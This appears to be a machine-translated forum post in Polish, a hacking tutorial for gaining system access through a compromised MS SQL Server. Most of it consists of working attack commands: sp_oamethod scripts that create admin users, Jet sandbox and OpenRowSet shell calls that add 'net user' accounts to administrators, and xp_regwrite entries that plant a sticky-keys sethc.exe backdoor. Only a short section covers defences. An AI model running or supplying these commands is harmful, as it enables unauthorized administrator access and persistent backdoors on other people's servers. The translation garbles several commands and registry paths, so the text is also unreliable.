sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'Set o=CreateObject( "Shell.Users" )' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set z=o.create('user")' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.changePassword "password","' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.setting("AccountType")=3' Następnie cmd wykonuje cscrip, aby usunąć t:\1.vbs 4. Poprzedni jest naprawiany, aby wykonywać polecenia cmd, ale po pewnych naprawach pojawiają się nowe problemy (1) Wiadomość: Podczas wykonywania xp_cmdshell wystąpił błąd. Połączenie 'CreateProcess' nie powiodło się z kodem błędu: '5'. Błąd 5 to numer błędu wywołany przez system, CreateProcess oznacza tworzenie wątku, a generowanie błędów ma wiele wspólnego z cmd.exe plików systemowych, jednym jest usunięcie cmd, drugim jest zmniejszenie uprawnień do cmd. SQL do sprawdzania portów terminala i statusu otwartego: Mistrz wykonawczy... xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControl\Control\Terminal\Server\WinStations\RDP-Tcp','PortNumber' Dobrze, kluczowym punktem poniżej jest użycie dwóch instrukcji SQL do skopiowania pliku eksploratora systemu do pliku shift backdoor systemu, a kolejne dwa instrukcje wykonuje się osobno. To oświadczenie explorer.exe kopiuje jako sethc.exe deklaruj @o int exec sp_oacreate 'scripremove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe'; To oświadczenie kopiuje sethc.exe do katalogu dllcache declare @oo int exec sp_oacreate 'scrip remove ting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\ sethc.exe'; Pozostałe dwa instrukcje wykorzystują sp_oacreate procedur przechowywanych, które muszą użyć odsole70.dll pliku, więc przetrwanie tego pliku zależy od sukcesu jego tworzenia. (2), xpsql.cpp: Błąd 5 z CreateProcess (linia 737) Ta sytuacja jest bardziej skomplikowana, a mówi się o tym w Internecie EXECUTIVE master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SoftWare\Microsoft\Jet\4.0\Engines', 'SandBox Mode', 'REG_DWORD',0 Wybierz * z OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Wybierz * z OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")'); Sprawdziłem sandbox, żeby podnieść prawa, ale przez moją praktykę wskaźnik sukcesu jest bardzo niski, ponieważ większość serwerów usunęła c:\windows\system32\ias\ias.mdb. Potem możesz spróbować przejęć obrazu, oczywiście przejęcie obrazu jest również warunkowe, 1 musi istnieć xp_regwrite tej procedurze zapisanej 2 to 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',' Debugger' nie jest usuwany Najpierw możesz sprawdzić, czy klucz przyklejony rejestru został przejęty Mistrz wykonawczy... xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opcje wykonania pliku obrazu\sethc.exe','Debugger' Jeśli prompt nie znajdzie problemu, dowód zostaje usunięty, nie ma możliwości, sethc.exe wykonanie polecenia sql EXECUTIVE master... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opcje wykonania pliku obrazu\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe' Po pięciu połączeniach z terminalem i przełączeniu, komputer przechodzi bezpośrednio na pulpit, a potem dodaje go ręcznie.
Rejestr modyfikuje port terminala
[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ Wds \ rdpwd \ Tds \ tcp]
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WinStations \ RDP-Tcp,
Jeśli chodzi o zapobieganie przejęciom obrazu, osiąga się to głównie za pomocą następujących metod:
★ Prawo o ograniczeniu pozwoleń
Jeśli użytkownik nie ma już dostępu do klucza rejestru, nie może modyfikować tych rzeczy. Otwórz Edytor Rejestru i przejdź do HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options, wybierz ten element, kliknij prawym przyciskiem myszy - > uprawnienia - > zaawansowane i obniż uprawnienia administratora oraz użytkowników systemu (tutaj wystarczy anulować operację zapisu).
★ Metoda szybkiego cięcia nożem z brudnych konopi
Otwórz edytor rejestru i przejdź do baru
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opcje wykonywania plików obrazów
Problem można rozwiązać, bezpośrednio usuwając element Opcje wykonania pliku obrazowego.
SQL Command porywa rejestrację Sticky Key Backdoor xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opcje wykonania pliku obrazu\sethc.exe', 'Debugger','REG_SZ', 'C:\WINDOWS\system32\kdsn.exe'
Pobranie oprogramowania:Turyści, jeśli chcecie zobaczyć ukrytą zawartość tego wpisu, proszę Odpowiedź
|